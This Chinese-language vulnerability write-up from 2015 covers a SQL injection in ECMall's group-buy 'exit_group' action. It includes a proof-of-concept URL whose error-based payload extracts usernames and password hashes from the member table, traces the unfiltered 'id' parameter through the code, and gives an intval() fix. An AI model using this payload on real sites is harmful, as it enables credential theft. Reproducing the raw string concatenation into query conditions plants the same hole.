ECMall /app/buyer_groupbuy.app.php SQL Injection Vul

Andrew.Hann發表於2015-08-14

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

Relevant Link:


2. 漏洞觸發條件

0x1: POC

http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b


3. 漏洞影響範圍
4. 漏洞程式碼分析

/app/buyer_groupbuy.app.php

function exit_group()
{
    //未對$id進行規範化過濾,導致攻擊者可以傳入非int型資料
    $id = empty($_GET['id']) ? 0 : $_GET['id'];
    if (!$id)
    {
        $this->show_warning('no_such_groupbuy');
        return false;
    }

    // 判斷是否能退團
    if (!$this->_ican($id, ACT))
    {
        $this->show_warning('Hacking Attempt');
        return;
    }
    $member_mod = &m('member');
    $member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
    $this->show_message('exit_groupbuy_succeed');
}

跟進if (!$this->_ican($id, ACT))

function _ican($id, $act = '')
{
    $state_permission = array(
        GROUP_PENDING   => array(),
        GROUP_ON        => array('view', 'exit_group'),
        GROUP_END       => array('view'),
        GROUP_FINISHED  => array('view', 'buy'),
        GROUP_CANCELED  => array('view')
    );

    $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array(
        'conditions' => 'gb.group_id=' . $id,   //傳入未過濾的$id引數 
        'order' => 'gb.group_id DESC',
        'fields' => 'gb.state,groupbuy_log.order_id'
    )));
    if (!$group)
    {
        return false; // 越權或沒有該團購
    }
    else
    {
        $state_permission[GROUP_FINISHED] = $group['order_id'] > 0 ? array('view', 'view_order') : array('view', 'buy');
    }
    if (empty($act))
    {
        return $state_permission[$group['state']]; // 返回該團購此狀態時允許的操作
    }
    return in_array($act, $state_permission[$group['state']]) ? true : false; // 該團購此狀態是否允許執行此操作
}

繼續跟進$this->_member_mod->getRelatedData
/eccore/model/mode.base.php

function getRelatedData($relation_name, $ids, $find_param = array())
{
    $relation_info = $this->getRelation($relation_name);
    $model =& m($relation_info['model']);
    if (empty($ids))
    {
        $this->_error('no_ids_to_assoc', $model->getName());

        return false;
    }

    if ($relation_info['type'] != HAS_MANY && $relation_info['type'] != HAS_AND_BELONGS_TO_MANY)
    {
        $this->_error('invalid_assoc_model', $model->getName());

        return false;
    }

    $alias = $model->alias;
    /* 如果是多對多關係,則連線的表的別名為指定別名或中間表名,否則為模型的別名 */
    if ($relation_info['type'] == HAS_AND_BELONGS_TO_MANY)
    {
        $be_related = $model->getRelation($relation_info['reverse']);
        $alias = isset($be_related['alias']) ? $be_related['alias'] : $be_related['middle_table'];
    }

    /* 構造查詢條件 */
    $conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids);   //主鍵值限定
    $conditions .= $relation_info['ext_limit'] ?
                ' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias)
                : '';
    $conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : '';
    $find_param['conditions'] = $conditions;


    /* 查詢欄位 */
    $find_param['fields'] = !empty($find_param['fields']) ?
                    $find_param['fields'] . ',' . $alias . '.' .$relation_info['foreign_key']
                    : '';
    switch ($relation_info['type'])
    {
        case HAS_MANY:
        break;
        case HAS_AND_BELONGS_TO_MANY:
        $find_param['join']   = !empty($find_param['join'])   ?
                        $find_param['join'] . ',' . $relation_info['reverse']
                        : $relation_info['reverse'];
        empty($find_param['order']) && $find_param['order'] = $model->alias . ".{$model->prikey} DESC";
        $find_param['index_key'] = array($relation_info['foreign_key'], $model->prikey);
        break;
    }

    return $model->find($find_param);
}


5. 防禦方法

/app/buyer_groupbuy.app.php

function exit_group()
{
    //通過intval進行規範化過濾
    //$id = empty($_GET['id']) ? 0 : $_GET['id'];
    $id = empty($_GET['id']) ? 0 : intval( $_GET['id'] );
    if (!$id)
    {
        $this->show_warning('no_such_groupbuy');
        return false;
    }

    // 判斷是否能退團
    if (!$this->_ican($id, ACT))
    {
        $this->show_warning('Hacking Attempt');
        return;
    }
    $member_mod = &m('member');
    $member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
    $this->show_message('exit_groupbuy_succeed');
}


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章